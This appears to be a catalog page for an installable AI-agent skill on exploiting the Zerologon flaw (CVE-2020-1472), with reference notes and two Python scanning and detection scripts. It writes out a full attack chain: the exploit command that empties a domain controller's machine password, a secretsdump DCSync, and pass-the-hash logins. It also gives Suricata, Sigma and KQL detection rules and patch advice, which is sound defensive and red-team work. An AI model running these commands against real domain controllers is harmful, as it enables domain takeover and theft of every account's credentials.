red teaming

Exploiting Zerologon Vulnerability (CVE-2020-1472)

Exploit the Zerologon vulnerability (CVE-2020-1472) in the Netlogon Remote Protocol to achieve domain controller compromise by resetting the machine account password to empty.

active-directorycve-2020-1472domain-controllerms-nrpcnetlogonprivilege-escalationzerologon
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

Overview

Zerologon (CVE-2020-1472) is a critical elevation of privilege vulnerability (CVSS 10.0) in the Microsoft Netlogon Remote Protocol (MS-NRPC). The flaw exists in the cryptographic implementation of AES-CFB8 mode, where the initialization vector (IV) is incorrectly set to all zeros. This allows an unauthenticated attacker with network access to a domain controller to establish a Netlogon session and reset the DC machine account password to empty, achieving full domain compromise. Microsoft patched this vulnerability in August 2020 (KB4571694).

When to Use

  • When performing authorized security testing that involves exploiting zerologon vulnerability cve 2020 1472
  • When analyzing malware samples or attack artifacts in a controlled environment
  • When conducting red team exercises or penetration testing engagements
  • When building detection capabilities based on offensive technique understanding

Prerequisites

  • Network access to a Domain Controller (TCP port 135 and dynamic RPC ports)
  • No authentication required (unauthenticated exploit)
  • Target DC must not have the February 2021 enforcement mode enabled
  • Impacket toolkit installed
  • Written authorization for red team engagement

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

MITRE ATT&CK Mapping

Technique ID Name Tactic
T1068 Exploitation for Privilege Escalation Privilege Escalation
T1210 Exploitation of Remote Services Lateral Movement
T1003.006 OS Credential Dumping: DCSync Credential Access
T1078.002 Valid Accounts: Domain Accounts Persistence

Vulnerability Technical Details

Root Cause

The Netlogon authentication protocol uses AES-CFB8 encryption with a client challenge and server challenge. The vulnerability exists because:

  1. The IV is hardcoded to 16 bytes of zeros
  2. When the plaintext is 8 bytes of zeros, AES-CFB8 produces a ciphertext of all zeros with probability 1 in 256
  3. An attacker can send approximately 256 authentication attempts (takes ~3 seconds) to succeed

Affected Systems

  • Windows Server 2008 R2 through Windows Server 2019
  • All domain controllers running unpatched Netlogon service
  • Samba versions < 4.8 (if running as AD DC)

Step 1: Identify Vulnerable Domain Controllers

# Scan for domain controllers
nmap -p 135,139,389,445 -sV --script=ms-sql-info,smb-os-discovery 10.10.10.0/24
 
# Check if DC is vulnerable using zerologon checker
python3 zerologon_tester.py DC01 10.10.10.1
 
# Using CrackMapExec
crackmapexec smb 10.10.10.1 -M zerologon

Step 2: Exploit Zerologon

# Using Impacket's CVE-2020-1472 exploit
# This sets the DC machine account password to empty
python3 cve_2020_1472.py DC01$ 10.10.10.1
 
# Expected output:
# Performing authentication attempts...
# =========================================
# NetrServerAuthenticate2 Result: 0 (success after ~256 attempts)
# NetrServerPasswordSet2 call was successful
# DC01$ machine account password set to empty string

Step 3: DCSync with Empty Password

# Use the empty hash to perform DCSync
secretsdump.py -no-pass -just-dc corp.local/DC01\$@10.10.10.1
 
# Output includes all domain hashes:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f3bc61e97fb14d18c42bcbf6c3a9055f:::
# svc_sql:1103:aad3b435b51404eeaad3b435b51404ee:e4cba78b4c01d6e5c0e31ffff18e46ab:::
 
# Alternatively, dump specific accounts
secretsdump.py -no-pass corp.local/DC01\$@10.10.10.1 \
  -just-dc-user Administrator

Step 4: Obtain Domain Admin Access

# Pass the Hash with Administrator NTLM
psexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
  corp.local/Administrator@10.10.10.1
 
# Or use wmiexec for stealthier access
wmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
  corp.local/Administrator@10.10.10.1

Step 5: Restore Machine Account Password (CRITICAL)

WARNING: After exploiting Zerologon, the DC machine account password is empty, which will break Active Directory replication and services. You MUST restore it.

# Method 1: Use the exploit's restore functionality
python3 restorepassword.py corp.local/DC01@DC01 -target-ip 10.10.10.1 \
  -hexpass <original_hex_password>
 
# Method 2: Force machine account password change from DC
# Connect to DC as Administrator and run:
netdom resetpwd /server:DC01 /userd:CORP\Administrator /passwordd:*
 
# Method 3: Restart the DC (it will auto-regenerate machine password)
# This is the safest method but causes downtime

Detection

Windows Event Logs

Event ID 4742: A computer account was changed
- Look for: DC$ account with password change
- Anomaly: Multiple 4742 events for DC$ in short period
 
Event ID 5805: Netlogon authentication failure
- Multiple failures followed by success = Zerologon attempt
 
Event ID 4624 (Type 3): Network logon
- DC$ account logging in from unexpected IP

Network Detection

# Suricata rule for Zerologon
alert dcerpc any any -> any any (
  msg:"ET EXPLOIT Possible Zerologon NetrServerReqChallenge";
  flow:established,to_server;
  dce_opnum:4;
  content:"|00 00 00 00 00 00 00 00|";
  sid:2030870;
  rev:1;
)

Sigma Rule

title: Zerologon Exploitation Attempt
status: stable
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 5805
        LogonType: 3
    timeframe: 5m
    condition: selection | count(EventID) > 100
level: critical
tags:
    - attack.privilege_escalation
    - attack.t1068
    - cve.2020.1472

Defensive Recommendations

  1. Apply patches immediately - KB4571694 (August 2020) and enforce February 2021 mode
  2. Enable enforcement mode via registry: FullSecureChannelProtection = 1
  3. Monitor Event ID 5805 for repeated Netlogon failures
  4. Deploy Microsoft Defender for Identity (detects Zerologon automatically)
  5. Network segmentation - Restrict direct access to DCs from user networks
  6. Block Netlogon RPC from non-DC systems where possible

References

Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 3

api-reference.md2.1 KB

API Reference: Zerologon (CVE-2020-1472)

Vulnerability Overview

  • CVE: CVE-2020-1472
  • CVSS: 10.0 (Critical)
  • Protocol: MS-NRPC (Netlogon Remote Protocol)
  • Port: 135 (RPC)
  • Impact: Domain Admin without credentials

Attack Mechanism

The Netlogon AES-CFB8 implementation uses a static IV of zero bytes. Sending authentication requests with 256 zero bytes succeeds with probability 1/256 per attempt.

Detection Tools

Nmap

nmap -p 135,445 --script smb-vuln-cve-2020-1472 <DC_IP>

Impacket zerologon_tester.py

zerologon_tester.py DC01 10.10.10.1

CrackMapExec

crackmapexec smb <DC_IP> -u '' -p '' -M zerologon

Patch Information

Microsoft KBs

KB OS Version
KB4571694 Windows Server 2016
KB4571703 Windows Server 2019
KB4571723 Windows Server 2012 R2
KB4571736 Windows Server 2012

Registry Key for Enforcement

HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters
FullSecureChannelProtection = 1 (DWORD)

MS-NRPC Protocol

NetrServerAuthenticate3

DCERPC call to \PIPE\netlogon
Function: NetrServerAuthenticate3
ClientCredential: 8 zero bytes
NegotiateFlags: 0x212fffff

Authentication Flow

  1. Client calls NetrServerReqChallenge (sends 8 zero bytes)
  2. Server responds with ServerChallenge
  3. Client calls NetrServerAuthenticate3 (ClientCredential = zeros)
  4. On success (~1/256), client sets DC machine password to empty

Event Log Detection

Event IDs

Event Source Description
5827 Netlogon Vulnerable connection denied
5828 Netlogon Vulnerable connection allowed
5829 Netlogon Vulnerable connection (audit mode)
5830 Netlogon Device allowed by GPO exception
5831 Netlogon Device denied

KQL Detection

SecurityEvent
| where EventID in (5827, 5828, 5829)
| project TimeGenerated, Computer, EventData

Remediation

  1. Apply KB patches immediately
  2. Set FullSecureChannelProtection = 1
  3. Monitor Event IDs 5827-5831
  4. Block RPC port 135 from untrusted networks
  5. Enable DC enforcement mode
standards.md1.3 KB

Standards and References: Zerologon CVE-2020-1472

MITRE ATT&CK Techniques

  • T1068 - Exploitation for Privilege Escalation
  • T1210 - Exploitation of Remote Services
  • T1003.006 - OS Credential Dumping: DCSync
  • T1078.002 - Valid Accounts: Domain Accounts
  • T1557 - Adversary-in-the-Middle (Netlogon session hijacking)

CVE Details

  • CVE ID: CVE-2020-1472
  • CVSS v3.1 Score: 10.0 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • CWE: CWE-330 (Use of Insufficiently Random Values)
  • Affected Protocol: MS-NRPC (Netlogon Remote Protocol)
  • Patch: KB4571694 (August 11, 2020)
  • Enforcement: February 9, 2021 update

NIST References

CISA References

  • CISA Emergency Directive 20-04: Required federal agencies to patch by September 21, 2020
  • CISA Alert AA20-283A: APT actors chaining Zerologon with other vulnerabilities

Known Exploitation in the Wild

  • APT Groups: Multiple nation-state actors observed exploiting Zerologon
  • Ransomware: Ryuk, Conti operators used Zerologon for domain takeover
  • Timeline: PoC published September 14, 2020; in-the-wild exploitation within 2 weeks
workflows.md3.6 KB

Workflows: Zerologon Exploitation

Exploitation Workflow

┌─────────────────────────────────────────────────────────────────┐
│                ZEROLOGON EXPLOITATION WORKFLOW                    │
├─────────────────────────────────────────────────────────────────┤
│                                                                  │
│  1. RECONNAISSANCE                                               │
│     ├── Identify domain controllers (DNS SRV records)            │
│     ├── Verify network access to DC (TCP 135, RPC)               │
│     └── Check patch status with zerologon_tester.py              │
│                                                                  │
│  2. EXPLOITATION                                                 │
│     ├── Run CVE-2020-1472 exploit (~256 attempts, ~3 seconds)    │
│     ├── DC machine account password set to empty                 │
│     └── Verify exploitation success                              │
│                                                                  │
│  3. CREDENTIAL EXTRACTION                                        │
│     ├── DCSync with empty hash (secretsdump.py -no-pass)         │
│     ├── Extract Administrator NTLM hash                          │
│     ├── Extract krbtgt hash (for Golden Ticket)                  │
│     └── Extract all domain user hashes                           │
│                                                                  │
│  4. DOMAIN ACCESS                                                │
│     ├── Pass-the-Hash as Administrator                           │
│     ├── Access any domain system                                 │
│     └── Create Golden Ticket for persistence                     │
│                                                                  │
│  5. RESTORATION (CRITICAL)                                       │
│     ├── Restore DC machine account password immediately          │
│     ├── Verify AD replication is functioning                     │
│     └── Document exploitation and restoration timestamps         │
│                                                                  │
└─────────────────────────────────────────────────────────────────┘

Impact Assessment

Zerologon Impact Chain

├── DC Machine Account Password Reset to Empty
│   ├── AD Replication BREAKS (secrets no longer sync)
│   ├── DNS may stop functioning
│   ├── Group Policy stops processing
│   └── Kerberos ticket validation fails

├── DCSync with Empty Hash
│   ├── ALL domain password hashes extracted
│   ├── krbtgt hash = Golden Ticket capability
│   └── Service account hashes = lateral movement

└── Full Domain Compromise
    ├── Administrator access to all systems
    ├── Ability to create/modify any account
    └── Complete control over Active Directory

RED TEAM WARNING: Always restore the DC machine account password immediately after exploitation. Failing to do so will cause Active Directory to break, potentially causing a production outage.

Scripts 2

agent.py4.7 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Agent for detecting Zerologon (CVE-2020-1472) vulnerability — authorized testing only."""

import argparse
import json
import subprocess
import sys
from datetime import datetime, timezone


def check_zerologon_nmap(dc_ip):
    """Use nmap script to check for Zerologon vulnerability."""
    try:
        result = subprocess.check_output(
            ["nmap", "-p", "135,445", "--script", "smb-vuln-cve-2020-1472", dc_ip],
            text=True, errors="replace", timeout=30
        )
        return {
            "method": "nmap",
            "target": dc_ip,
            "vulnerable": "VULNERABLE" in result.upper(),
            "output": result[:500],
        }
    except (subprocess.SubprocessError, FileNotFoundError):
        return {"method": "nmap", "status": "nmap not available"}


def check_zerologon_impacket(dc_name, dc_ip):
    """Check vulnerability using zerologon_tester.py from Impacket."""
    try:
        result = subprocess.check_output(
            ["zerologon_tester.py", dc_name, dc_ip],
            text=True, errors="replace", timeout=30
        )
        return {
            "method": "zerologon_tester",
            "target": dc_ip,
            "dc_name": dc_name,
            "vulnerable": "success" in result.lower() or "vulnerable" in result.lower(),
            "output": result[:500],
        }
    except (subprocess.SubprocessError, FileNotFoundError):
        return {"method": "zerologon_tester", "status": "tool not available"}


def check_patch_status(dc_ip):
    """Check if DC has Zerologon patches applied."""
    if sys.platform != "win32":
        return {"status": "non-windows — use remote check"}
    try:
        result = subprocess.check_output(
            ["wmic", "/node:" + dc_ip, "qfe", "list", "brief"],
            text=True, errors="replace", timeout=15
        )
        patches = ["KB4571694", "KB4571703", "KB4571723", "KB4571736"]
        found = [kb for kb in patches if kb in result]
        return {
            "target": dc_ip,
            "patched": len(found) > 0,
            "patches_found": found,
            "patches_checked": patches,
        }
    except subprocess.SubprocessError:
        return {"status": "wmic check failed"}


def check_secure_channel(dc_ip):
    """Verify Netlogon secure channel is enforced."""
    ps_cmd = (
        f"Get-ItemProperty 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters' "
        f"-Name FullSecureChannelProtection -ErrorAction SilentlyContinue | "
        f"Select-Object FullSecureChannelProtection | ConvertTo-Json"
    )
    try:
        result = subprocess.check_output(
            ["powershell", "-NoProfile", "-Command", ps_cmd],
            text=True, errors="replace", timeout=10
        )
        data = json.loads(result) if result.strip() else {}
        enforced = data.get("FullSecureChannelProtection", 0) == 1
        return {"secure_channel_enforced": enforced}
    except (subprocess.SubprocessError, json.JSONDecodeError):
        return {"status": "check_failed"}


def main():
    parser = argparse.ArgumentParser(
        description="Detect Zerologon CVE-2020-1472 (authorized testing only)"
    )
    parser.add_argument("--dc-ip", required=True, help="Domain controller IP")
    parser.add_argument("--dc-name", help="DC NetBIOS name (for Impacket check)")
    parser.add_argument("--nmap", action="store_true", help="Use nmap check")
    parser.add_argument("--check-patch", action="store_true")
    parser.add_argument("--output", "-o", help="Output JSON report")
    args = parser.parse_args()

    print("[*] Zerologon (CVE-2020-1472) Detection Agent")
    print("[!] For authorized security testing only")
    report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": {}}

    if args.nmap:
        result = check_zerologon_nmap(args.dc_ip)
        report["findings"]["nmap"] = result
        print(f"[*] nmap check: vulnerable={result.get('vulnerable', 'unknown')}")

    if args.dc_name:
        result = check_zerologon_impacket(args.dc_name, args.dc_ip)
        report["findings"]["impacket"] = result
        print(f"[*] Impacket check: {result.get('vulnerable', result.get('status'))}")

    if args.check_patch:
        patch = check_patch_status(args.dc_ip)
        report["findings"]["patch_status"] = patch
        channel = check_secure_channel(args.dc_ip)
        report["findings"]["secure_channel"] = channel

    report["risk_level"] = "CRITICAL" if any(
        v.get("vulnerable") for v in report["findings"].values() if isinstance(v, dict)
    ) else "LOW"

    if args.output:
        with open(args.output, "w") as f:
            json.dump(report, f, indent=2)
        print(f"[*] Report saved to {args.output}")
    else:
        print(json.dumps(report, indent=2))


if __name__ == "__main__":
    main()
process.py11.3 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""
Zerologon (CVE-2020-1472) Vulnerability Scanner and Detector

Checks domain controllers for Zerologon vulnerability status
and detects exploitation attempts from Windows Event Logs.
NOTE: This is a detection/scanning tool, not an exploit.
"""

import json
import os
import struct
import socket
from datetime import datetime
from dataclasses import dataclass, field
from collections import defaultdict
from typing import Optional


@dataclass
class DCTarget:
    """A domain controller to check."""
    hostname: str
    ip: str
    domain: str
    os_version: str = ""
    patch_status: str = "unknown"  # patched, vulnerable, unknown
    enforcement_mode: bool = False


@dataclass
class ZerologonEvent:
    """An event related to Zerologon activity."""
    timestamp: str
    event_id: int
    source_ip: str
    target_dc: str
    account_name: str
    event_type: str = ""
    details: str = ""


@dataclass
class DetectionAlert:
    """Alert for detected Zerologon activity."""
    severity: str
    timestamp: str
    source_ip: str
    target_dc: str
    indicator: str
    description: str
    confidence: str = "high"


class ZerologonScanner:
    """Scan and detect Zerologon vulnerability and exploitation."""

    def __init__(self):
        self.targets: list[DCTarget] = []
        self.events: list[ZerologonEvent] = []
        self.alerts: list[DetectionAlert] = []

    def add_target(self, target: DCTarget) -> None:
        """Add a DC to scan."""
        self.targets.append(target)

    def check_port_open(self, ip: str, port: int, timeout: float = 3.0) -> bool:
        """Check if RPC port is accessible."""
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(timeout)
            result = sock.connect_ex((ip, port))
            sock.close()
            return result == 0
        except socket.error:
            return False

    def scan_targets(self) -> list[dict]:
        """Scan targets for vulnerability indicators."""
        results = []
        for target in self.targets:
            result = {
                "hostname": target.hostname,
                "ip": target.ip,
                "domain": target.domain,
                "rpc_accessible": False,
                "netlogon_accessible": False,
                "risk_level": "unknown",
                "recommendations": [],
            }

            # Check RPC port
            result["rpc_accessible"] = self.check_port_open(target.ip, 135)
            if not result["rpc_accessible"]:
                result["risk_level"] = "info"
                result["recommendations"].append("RPC port 135 not accessible from scan source")
                results.append(result)
                continue

            # Check if Netlogon is accessible
            result["netlogon_accessible"] = self.check_port_open(target.ip, 445)

            # Assess risk based on available information
            if target.patch_status == "vulnerable":
                result["risk_level"] = "critical"
                result["recommendations"] = [
                    "IMMEDIATELY apply KB4571694 (August 2020 patch)",
                    "Enable enforcement mode via registry",
                    "Monitor Event ID 5805 for exploitation attempts",
                    "Restrict network access to DC from non-essential systems",
                ]
            elif target.patch_status == "patched" and not target.enforcement_mode:
                result["risk_level"] = "medium"
                result["recommendations"] = [
                    "Enable Netlogon enforcement mode",
                    "Verify February 2021 update is installed",
                    "Monitor for non-compliant Netlogon connections",
                ]
            elif target.patch_status == "patched" and target.enforcement_mode:
                result["risk_level"] = "low"
                result["recommendations"] = [
                    "Continue monitoring Event ID 5805",
                    "Ensure all DCs have enforcement mode enabled",
                ]
            else:
                result["risk_level"] = "high"
                result["recommendations"] = [
                    "Verify patch status of this domain controller",
                    "Check for KB4571694 installation",
                    "Enable enforcement mode if patched",
                ]

            results.append(result)

        return results

    def parse_windows_events(self, events: list[dict]) -> None:
        """Parse Windows Security Event Logs for Zerologon indicators."""
        for event in events:
            event_id = event.get("EventID", 0)
            if event_id in (4742, 5805, 4624, 4625):
                ze = ZerologonEvent(
                    timestamp=event.get("TimeCreated", ""),
                    event_id=event_id,
                    source_ip=event.get("EventData", {}).get("IpAddress", ""),
                    target_dc=event.get("Computer", ""),
                    account_name=event.get("EventData", {}).get("TargetUserName", ""),
                    details=json.dumps(event.get("EventData", {})),
                )
                self.events.append(ze)

    def detect_exploitation(self) -> list[DetectionAlert]:
        """Analyze events for Zerologon exploitation patterns."""
        self.alerts = []

        # Pattern 1: Multiple Netlogon failures (Event 5805) in short window
        netlogon_failures = [e for e in self.events if e.event_id == 5805]
        failure_by_source = defaultdict(list)
        for event in netlogon_failures:
            failure_by_source[event.source_ip].append(event)

        for source_ip, failures in failure_by_source.items():
            if len(failures) >= 100:  # Zerologon requires ~256 attempts
                self.alerts.append(DetectionAlert(
                    severity="critical",
                    timestamp=failures[0].timestamp,
                    source_ip=source_ip,
                    target_dc=failures[0].target_dc,
                    indicator="Multiple Netlogon authentication failures",
                    description=(
                        f"Detected {len(failures)} Netlogon failures from {source_ip} "
                        f"targeting {failures[0].target_dc}. This pattern is consistent "
                        f"with Zerologon (CVE-2020-1472) exploitation attempts."
                    ),
                    confidence="high",
                ))

        # Pattern 2: DC machine account password change (Event 4742)
        dc_password_changes = [
            e for e in self.events
            if e.event_id == 4742 and e.account_name.endswith("$")
        ]
        for event in dc_password_changes:
            self.alerts.append(DetectionAlert(
                severity="critical",
                timestamp=event.timestamp,
                source_ip=event.source_ip,
                target_dc=event.target_dc,
                indicator="DC machine account password changed",
                description=(
                    f"Domain controller machine account {event.account_name} "
                    f"password was changed. If unexpected, this may indicate "
                    f"successful Zerologon exploitation."
                ),
                confidence="medium",
            ))

        # Pattern 3: Suspicious logon following Netlogon failures
        success_after_failure = []
        for source_ip, failures in failure_by_source.items():
            successful_logons = [
                e for e in self.events
                if e.event_id == 4624 and e.source_ip == source_ip
                and e.account_name.endswith("$")
            ]
            if successful_logons and len(failures) > 50:
                self.alerts.append(DetectionAlert(
                    severity="critical",
                    timestamp=successful_logons[0].timestamp,
                    source_ip=source_ip,
                    target_dc=successful_logons[0].target_dc,
                    indicator="Successful logon after mass Netlogon failures",
                    description=(
                        f"Successful logon from {source_ip} as {successful_logons[0].account_name} "
                        f"following {len(failures)} Netlogon failures. "
                        f"Strong indicator of Zerologon exploitation."
                    ),
                    confidence="high",
                ))

        return self.alerts

    def generate_report(self) -> str:
        """Generate vulnerability and detection report."""
        scan_results = self.scan_targets()
        lines = []
        lines.append("=" * 70)
        lines.append("ZEROLOGON (CVE-2020-1472) ASSESSMENT REPORT")
        lines.append(f"Generated: {datetime.now().isoformat()}")
        lines.append("=" * 70)

        lines.append("\nVULNERABILITY SCAN RESULTS:")
        lines.append("-" * 70)
        for result in scan_results:
            icon = {"critical": "[!!!]", "high": "[!!]", "medium": "[!]",
                    "low": "[+]", "info": "[i]", "unknown": "[?]"}.get(result["risk_level"], "[?]")
            lines.append(f"\n  {icon} {result['hostname']} ({result['ip']})")
            lines.append(f"      Risk: {result['risk_level'].upper()}")
            lines.append(f"      RPC Access: {'Yes' if result['rpc_accessible'] else 'No'}")
            for rec in result["recommendations"]:
                lines.append(f"      -> {rec}")

        if self.alerts:
            lines.append(f"\nEXPLOITATION DETECTION ALERTS: {len(self.alerts)}")
            lines.append("-" * 70)
            for alert in self.alerts:
                lines.append(f"\n  [{alert.severity.upper()}] {alert.indicator}")
                lines.append(f"    Source: {alert.source_ip} -> {alert.target_dc}")
                lines.append(f"    Time: {alert.timestamp}")
                lines.append(f"    Confidence: {alert.confidence}")
                lines.append(f"    Details: {alert.description}")

        return "\n".join(lines)


def main():
    """Demonstrate Zerologon scanning and detection."""
    scanner = ZerologonScanner()

    # Add DC targets
    scanner.add_target(DCTarget("DC01", "10.10.10.1", "corp.local",
                                "Windows Server 2019", "vulnerable", False))
    scanner.add_target(DCTarget("DC02", "10.10.10.2", "corp.local",
                                "Windows Server 2022", "patched", True))

    # Simulate exploitation event logs
    sample_events = []
    # 200 Netlogon failures (Zerologon attempt)
    for i in range(200):
        sample_events.append({
            "EventID": 5805,
            "TimeCreated": f"2025-01-15T10:30:{i % 60:02d}",
            "Computer": "DC01.corp.local",
            "EventData": {"IpAddress": "10.10.10.50", "TargetUserName": "ATTACKER$"},
        })
    # Followed by machine account password change
    sample_events.append({
        "EventID": 4742,
        "TimeCreated": "2025-01-15T10:31:00",
        "Computer": "DC01.corp.local",
        "EventData": {"IpAddress": "10.10.10.50", "TargetUserName": "DC01$"},
    })
    # Followed by successful logon
    sample_events.append({
        "EventID": 4624,
        "TimeCreated": "2025-01-15T10:31:05",
        "Computer": "DC01.corp.local",
        "EventData": {"IpAddress": "10.10.10.50", "TargetUserName": "DC01$"},
    })

    scanner.parse_windows_events(sample_events)
    scanner.detect_exploitation()
    print(scanner.generate_report())


if __name__ == "__main__":
    main()

Assets 1

template.mdtext/markdown · 1.2 KB
Keep exploring